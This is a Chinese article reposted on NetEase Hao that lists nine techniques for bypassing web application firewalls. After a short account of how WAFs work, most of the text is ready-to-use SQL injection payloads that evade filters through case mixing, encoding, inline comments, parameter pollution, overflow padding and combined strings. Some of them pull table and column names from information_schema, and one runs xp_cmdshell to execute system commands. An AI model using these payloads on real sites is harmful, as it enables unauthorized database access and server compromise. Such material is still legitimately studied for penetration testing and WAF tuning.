网易首页 > 网易号 > 正文 申请入驻

这9种方式可以绕过Web应用程序防火墙

0
分享至

Web应用程序防火墙(WAF)的主要作用是过滤,监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙,因为WAF能够过滤特定Web应用程序的内容,而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量,它可以防止源自Web应用安全漏洞的攻击,如SQL注入,XSS,文件包含和安全配置错误。

Web应用程序防火墙WAF是如何工作的?

1. 协议异常检测:拒绝不符合HTTP标准的请求
2. 增强的输入验证:代理和服务器端验证,而不仅仅是客户端验证
3. 白名单和黑名单
4. 基于规则和基于异常的保护:基于规则的更依赖黑名单机制,基于异常则更灵活
5. 状态管理:关注会话保护还有:Cookie保护,反入侵规避技术,响应监控和信息披露保护。

如何绕过WAF?

1. 当我们在目标URL进行SQL注入测试时,可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过WAF的过滤。

http://www.xxxxx.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

2. 关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成SEL

http://www.xxxxx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

3. 编码

+ URL encode
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT +Hex encode
www.xxxxx.com/index.php?page_id=-15 /*!u%6eion*//*!se%6cect*/ 1,2,3,4…  SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) +Unicode encode
?id=10%D6‘%20AND%2201=2%23  SELECT '?'='A'; #1

4. 使用注释

在攻击字符串中插入注释。例如,/*!SELECT*/ 这样WAF可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由mysql数据库处理。

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4   'union%a0select pass from users# index.php?page_id=-15 /*!UNION*//*!SELECT*/ 1,2,3  ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

5. 某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==> ascii() sleep() ==>benchmark() concat_ws()==>group_concat() substr((select 'password'),1,1) = 0x70  strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0  strcmp(left('password',1), 0x71) = -1 mid()、substr() ==> substring() datadir ==> datadir()

6. 使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

+ ` symbol: select `version()`; + +- :select+id-1+1.from users; + @:select@^1.from users; +Mysql function() as xxx +`、~、!、@、%、()、[]、.、-、+ 、|、%00 示例
‘se’+’lec’+’t’ %S%E%L%E%C%T 1 1.aspx?id=1;EXEC(‘ma’+'ster··x’+'p_cm’+'dsh’+'ell “net user”’) ' or --+2=- -!!!'2   id=1+(UnI)(oN)+(SeL)(EcT)

7. HTTP控制参数
通过提供多个参数=相同名称的值集来混淆WAF。例如 http://www.xxxxx.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

  /?id=1;select+1,2,3+from+users+where+id=1—/?id=1;select+1&id=2,3+from+users+where+id=1—/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:

+HPF (HTTP Parameter Fragment)

这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users-- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

+HPC (HTTP Parameter Contamination)
RFC2396定义了以下字符:
不同的Web服务器处理处理构造的特殊请求时有不同的逻辑:以魔术字符%为例,Asp/Asp.net会受到影响。

Unreserved: a-z, A-Z, 0-9 and _ . !~* ' () Reserved :;/?: @ & = + $, Unwise : { } | \ ^ [ ] `

8. 缓冲区溢出

WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么WAF可能就会崩溃,即使不能执行代码那也会使WAF无法正常运行。这样,WAF的安全防护自然也就被瓦解了。

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

9. 整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

www.xxxxx.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4… id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– - ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

本文地址:https://www.linuxprobe.com/bypass-application-firewall.html

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
141:0压倒性优势,欧盟成员国通过重大草案,中国外交部:赞赏

141:0压倒性优势,欧盟成员国通过重大草案,中国外交部:赞赏

书纪文谭
2026-05-08 15:05:30
美国警方路边发现363辆未拆封风火轮玩具车

美国警方路边发现363辆未拆封风火轮玩具车

竞技风云录
2026-05-07 11:32:46
4-0横扫!埃梅里神了:率队成功翻盘,挺进决赛,目标直指冠军

4-0横扫!埃梅里神了:率队成功翻盘,挺进决赛,目标直指冠军

足球狗说
2026-05-08 04:57:35
1966年毛主席在滴水洞留下诗作,凡读懂其中玄机之人皆惊恐万分

1966年毛主席在滴水洞留下诗作,凡读懂其中玄机之人皆惊恐万分

人生录
2026-05-07 16:15:09
他是恶贯满盈的特务,41岁逃到台湾,84岁在大街上说共产党的好话

他是恶贯满盈的特务,41岁逃到台湾,84岁在大街上说共产党的好话

兴趣知识
2026-05-08 18:24:52
赵心童首次当选世界斯诺克巡回赛年度最佳球员,并入选名人堂

赵心童首次当选世界斯诺克巡回赛年度最佳球员,并入选名人堂

懂球帝
2026-05-08 21:09:08
涉黄倒查严查开启!这3种情况不用慌,一般不予处罚

涉黄倒查严查开启!这3种情况不用慌,一般不予处罚

混沌录
2026-05-07 20:46:15
南宋为洗靖康之耻有多狠?700万金人仅剩10万,辱金后还留一画作

南宋为洗靖康之耻有多狠?700万金人仅剩10万,辱金后还留一画作

掠影后有感
2026-05-07 10:01:40
37死51伤1失联!浏阳烟花厂爆炸细节曝光,远程监控竟没存储功能

37死51伤1失联!浏阳烟花厂爆炸细节曝光,远程监控竟没存储功能

Mr王的饭后茶
2026-05-08 18:56:01
坐等官宣!《花少8》未播先火,双数季魔咒、嘉宾阵容引全网热议

坐等官宣!《花少8》未播先火,双数季魔咒、嘉宾阵容引全网热议

一禾的世界
2026-05-07 13:15:29
李国庆自曝往事:净身出户后不舍请司机,老下属月薪8500不离不弃

李国庆自曝往事:净身出户后不舍请司机,老下属月薪8500不离不弃

洲洲影视娱评
2026-05-08 15:25:45
汉武帝为什么总选春天进攻匈奴?司马光:匈奴女子春天更容易怀孕

汉武帝为什么总选春天进攻匈奴?司马光:匈奴女子春天更容易怀孕

云霄纪史观
2026-05-08 00:57:48
毛主席遗体至今仍面色红润,但防腐费用每年需上亿元,是真是假?

毛主席遗体至今仍面色红润,但防腐费用每年需上亿元,是真是假?

历史龙元阁
2026-05-05 10:15:14
李家鼎公开与长子对话录音,称年老无力养对方,长子威胁抵押祖屋

李家鼎公开与长子对话录音,称年老无力养对方,长子威胁抵押祖屋

八斗小先生
2026-05-08 11:11:00
百万元一针的抗癌神药或将大降价

百万元一针的抗癌神药或将大降价

21世纪经济报道
2026-05-08 18:44:37
巴媒:费利佩合同年底到期,成都蓉城已开启续约谈判

巴媒:费利佩合同年底到期,成都蓉城已开启续约谈判

懂球帝
2026-05-08 15:25:12
随着日本5-0,印度4-0,女足亚洲杯最新积分榜出炉

随着日本5-0,印度4-0,女足亚洲杯最新积分榜出炉

侧身凌空斩
2026-05-08 18:34:42
谢娜仨女儿全像张杰,这才是基因的 “降维打击”

谢娜仨女儿全像张杰,这才是基因的 “降维打击”

南万说娱26
2026-05-07 09:33:49
“因恶意退货太多整条街道被商家拉黑”!商家客服直言:“白嫖的太多”发122个包裹退94个;快递员曾表示该街道从事直播行业的住户较多

“因恶意退货太多整条街道被商家拉黑”!商家客服直言:“白嫖的太多”发122个包裹退94个;快递员曾表示该街道从事直播行业的住户较多

每日经济新闻
2026-05-08 16:57:51
更衣室大战加速穆里尼奥回归?诸多名宿支持穆帅,已跟高层通过气

更衣室大战加速穆里尼奥回归?诸多名宿支持穆帅,已跟高层通过气

里芃芃体育
2026-05-08 16:00:14
2026-05-08 22:31:00
linux系统运维之家
linux系统运维之家
科技资讯
1392文章数 7550关注度
往期回顾 全部

科技要闻

SK海力士平均奖金600万 工服成相亲神器

头条要闻

"大衣哥"再度翻红:五一假期3天跑5场 累到"要保命"

头条要闻

"大衣哥"再度翻红:五一假期3天跑5场 累到"要保命"

体育要闻

他把首胜让给队友,然后用一年时间还清账单

娱乐要闻

古天乐被曝隐婚生子,新娘竟是她

财经要闻

特朗普全球关税又受阻,也能退款?

汽车要闻

MG 4X实车亮相 将于5月11日开启盲订

态度原创

房产
教育
游戏
公开课
军事航空

房产要闻

豪掷6.8亿拿地!何猷君大手笔投资三亚!

教育要闻

关于举办“图画书里的中国”2026年山东省原创儿童图画书素材创意大赛、原创儿童图画书讲读大赛的通知

IGN满分游戏《混音青春》发售 Steam好评如潮

公开课

李玫瑾:为什么性格比能力更重要?

军事要闻

伊朗:最高领袖穆杰塔巴全面掌控局势

无障碍浏览 进入关怀版